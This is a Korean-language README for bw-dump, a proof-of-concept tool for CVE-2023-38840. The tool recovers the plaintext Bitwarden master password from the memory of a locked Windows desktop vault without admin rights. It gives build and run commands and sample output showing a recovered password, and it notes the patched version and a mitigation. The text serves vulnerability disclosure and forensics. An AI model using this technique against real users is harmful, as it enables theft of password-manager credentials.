
(CVE-2023-38840)에 대한 개념 증명으로, 잠긴 Bitwarden 볼트에서 평문 마스터 비밀번호를 추출합니다.
업데이트 2: 이 취약점은 CVE-2023-38840로 지정되었습니다.
업데이트: 이 취약점을 수정하는 패치가 GitHub 풀 리퀘스트(5813)를 통해 릴리스되었습니다. 영향을 받는 버전은 Bitwarden Desktop 2023.7.0 이하입니다.
잠긴 Bitwarden 볼트(최소 한 번은 잠금 해제되어 있어야 함)에서 마스터 암호를 추출하는 개념 증명(PoC) 도구입니다. 현재 세션에서만 작동하므로 시스템을 재부팅한 후에는 작동하지 않습니다. 관리자 권한은 필요하지 않습니다.
블로그가 게시되었으며 다음에서 확인할 수 있습니다: https://redmaple.tech/blogs/2023/extract-bitwarden-vault-passwords/
Microsoft Edge와 Bitwarden 브라우저 확장 프로그램에서 bw-dump를 사용하는 짧은 데모입니다. 최신 도구는 Bitwarden Desktop에서만 작동합니다.
https://user-images.githubusercontent.com/9108334/191377244-f0e9a123-e4f0-43b0-90b5-697fc005ae7b.mov
경고: Windows Defender는 컴파일된 바이너리를 악성으로 보고합니다!
스트립된 바이너리를 빌드하려면 다음을 입력하세요:
go build -ldflags="-s -w"
Linux 시스템에서 빌드하려면 다음을 입력하세요:
env GOOS=windows GOARCH=amd64 go build -ldflags="-s -w"
바이너리를 빌드하고 실행하기만 하면 됩니다. 관리자 권한이 필요하지 않습니다. Bitwarden 프로세스가 실행 중인지 확인하세요. 또한 볼트는 최소 한 번은 잠금 해제되어 있어야 합니다. 그러면 마스터 암호가 일정 시간 동안 메모리에 저장됩니다.
패턴이 발견될 때 메모리 영역을 덤프하려면 -d 옵션을 전달할 수도 있습니다. 각 결과에 대해 현재 작업 디렉터리에 dump-pid-<PID>-<MEM-REGION>.hex 파일이 생성됩니다.
출력 예시
PS C:\Users\Tester\dev\go\bw-dump> bw-dump.exe
888 88b, Y8b Y8b Y888P 888 88e
888 88P' Y8b Y8b Y8P 888 888b 8888 8888 888 888 8e 888 88e
888 8K Y8b Y8b Y 888 888 8888D 8888 8888 888 888 88b 888 888b
888 88b, Y8b Y8b 888 888P Y888 888P 888 888 888 888 888P
888 88P' Y8P Y 888 88" "88 88" 888 888 888 888 88"
888
Created by @NazMarkuta at Red Maple 888
BW-Dump is a Windows forensics tool that extracts Bitwarden master passwords from locked vaults
(must be unlocked at least once) by reading process memory using Windows API functions which
searches for magic byte patterns. The tool doesn't require any special (admin) permissions.
Now supports Bitwarden Desktop App (v2023.1.1) running on Windows 10 or 11. The tool (may)
still support older Bitwarden Chromium extension versions (v2022.6.0) and below.
[+] Searching for processes...
[+] PID: 4228
[+] EXEName: Bitwarden.exe
[+] CMDLine: "C:\Users\Tester\AppData\Local\Programs\Bitwarden\Bitwarden.exe" --type=renderer --user-data-dir="C:\Users\Tester\AppData\Roaming\Bitwarden" --app-path="C:\Users\Tester\AppData\Local\Programs\Bitwarden\resources\app.asar" --no-sandbox --no-zygote --first-renderer-process --lang=en-GB --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --time-ticks-at-unix-epoch=-1675782335888921 --launch-time-ticks=4007177473 --mojo-platform-channel-handle=2508 --field-trial-handle=1792,i,3673052334935287551,6849534636950916074,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:1
[+] Searching PID memory (4228)
[+] Found pattern at MemBaseAddr (0xb0800554000)
[+] Found password prefix bytes at offset (0xc121)
[!] Invalid offset size, skipping...
[+] Found pattern at MemBaseAddr (0xb0800a8c000)
[+] Found password prefix bytes at offset (0x1104)
[!] Invalid offset size, skipping...
[+] Found pattern at MemBaseAddr (0xb08014bc000)
[+] Found password prefix bytes at offset (0x62aa)
[+] Password recovered: "SUPER-SECURE-password8"
PS C:\Users\Tester\dev\go\bw-dump>
마스터 암호를 메모리에서 지울 수 있는 방법은 (아마도 더 있겠지만) 두 가지가 있습니다:
Bitwarden.exe 프로세스를 종료하세요. Windows가 가비지 컬렉션을 수행해야 합니다.